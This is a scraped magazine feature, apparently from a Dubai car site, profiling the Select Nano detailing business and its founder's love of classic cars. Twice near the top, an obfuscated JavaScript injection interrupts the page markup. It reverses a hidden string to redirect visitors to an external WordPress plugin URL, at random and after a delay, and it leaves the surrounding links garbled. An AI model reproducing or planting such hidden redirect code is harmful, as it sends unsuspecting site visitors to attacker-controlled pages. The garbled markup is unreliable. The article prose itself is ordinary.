$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/08/Select-Auto-9.jpg” width=”728″ height=”485″ />
Now there’s a key word, and those of you thinking of treating your beloved Nissan Micra or $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-chevrolet-sonic-the-15000-challenge-part-one/” target=”_blank”>Toyota Yaris to a day at the Select Nano spa may have to think again. The current occupants of the four bays for instance include a BMW M5, a Range Rover Sport, a Rolls-Royce Ghost and, tellingly, a 1971 Mercedes 280 SEL. Accordingly, a full job from the guys will set you back a few quid.
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“I have customers who walk in and ask me how much it will cost, and I’ll say $1000. They’ll of course look at me like I’ve gone mad, but there’s a logic involved that our customers eventually understand (we are in the business of satisfying customers, after all).
“And the price can go higher, depending on the number of cars a customer has, the quality of the cars he/she has and the type of polishes that are required. It’s the level of detail and the quality of products involved that really makes the difference.”
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That’s one reason why uber mainstream vehicles tend not to get the Select Nano treatment. The other is much closer to the heart.
“My hobby is polishing cars. I’ve been in the field of cleaning now for 26 years, which started when I was just a young kid in Wimbledon: people would turn up for the tennis, park up and I’d wash their cars. And I really love classic cars. Really love them. Anything earlier than 1957 is something interesting to me. So I think there has to be something about the car too if we take on a job.”
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We take another brief hiatus from Select Nano so that Fred can show me the homemade automotive encyclopaedia on his computer, a pictorial guide to manufacturers, models and designers he’s spent 13 years putting together. And considering some of the models that have come through the team’s doors down the years, it seems doubtful he’ll get caught out anytime soon.
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“At the moment on the premises I have a 1980 Chevrolet Corvette, which really needs some looking after. There’s the Mercedes 280 SEL over there, of course. We have a 300 SEL too, a 6.3-litre engine. And there’s a Fiat 500, a Jolly next door, which I really want to create something out of because the owner has another six!
“He also had a very neglected 1973 Porsche 911 Targa. Very neglected. He was almost going to sell it for maybe $3000. Then we did some work, and now he will not sell it for less than $40,000.
“I was also called in to Kuwait from Saudi Arabia to do the first GT40 that landed in the Middle East. And that was for me was just wonderful! But actually one of my favourite cars is the [De Tomaso] Mangusta, and I’ve done one of those too. I think I seek owners of cars and introduce myself in a way so that one day they may pick up the phone and say, “Fred, come over, your time has come!’”
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All joking aside, he’s not entirely wrong there. After joining the company in late-2010, Select Nano noticed an immediate upturn in business, thanks largely to friends and associates Frederik had picked up during his travels across Europe, many of whom are still valued customers today.
“It’s a hobby turned full time job, which really helps. I attend a lot of concourse events and classic car rallies just as a follower, but it’s good to get my face out there since you never know what will happen down the line.
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“I met a client in London a long time ago: very flamboyant, very posh, a beautiful person. We met again at the Mille Miglia – I’ve actually done it twice now – and then we met in Monte Carlo for the historic Grand Prix. And then I learnt that he lived in Dubai. So when I moved here in December 2010, I thought, ‘I’m going to go after him’ because he does have a huge collection. It took me a few years before he would allow me to touch one of his cars, but we eventually took one with his blessing, didn’t take a penny for the work, and now he’s one of our strongest clients. You just never know who you might end up meeting.”
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This same enthusiasm looks set then to drive any future expansion. Select Nano has already signed a lucrative deal with the local Brabus dealership to maintain all their showroom models (“there’s a special type of polish that’s only made for the showroom. Each car has to have a mirror reflection so there’s an immediate interaction with the customer”), and the man himself admits that returning to high turnover industrial cleaning roots is something that should be considered, even if business as it stands is looking good.
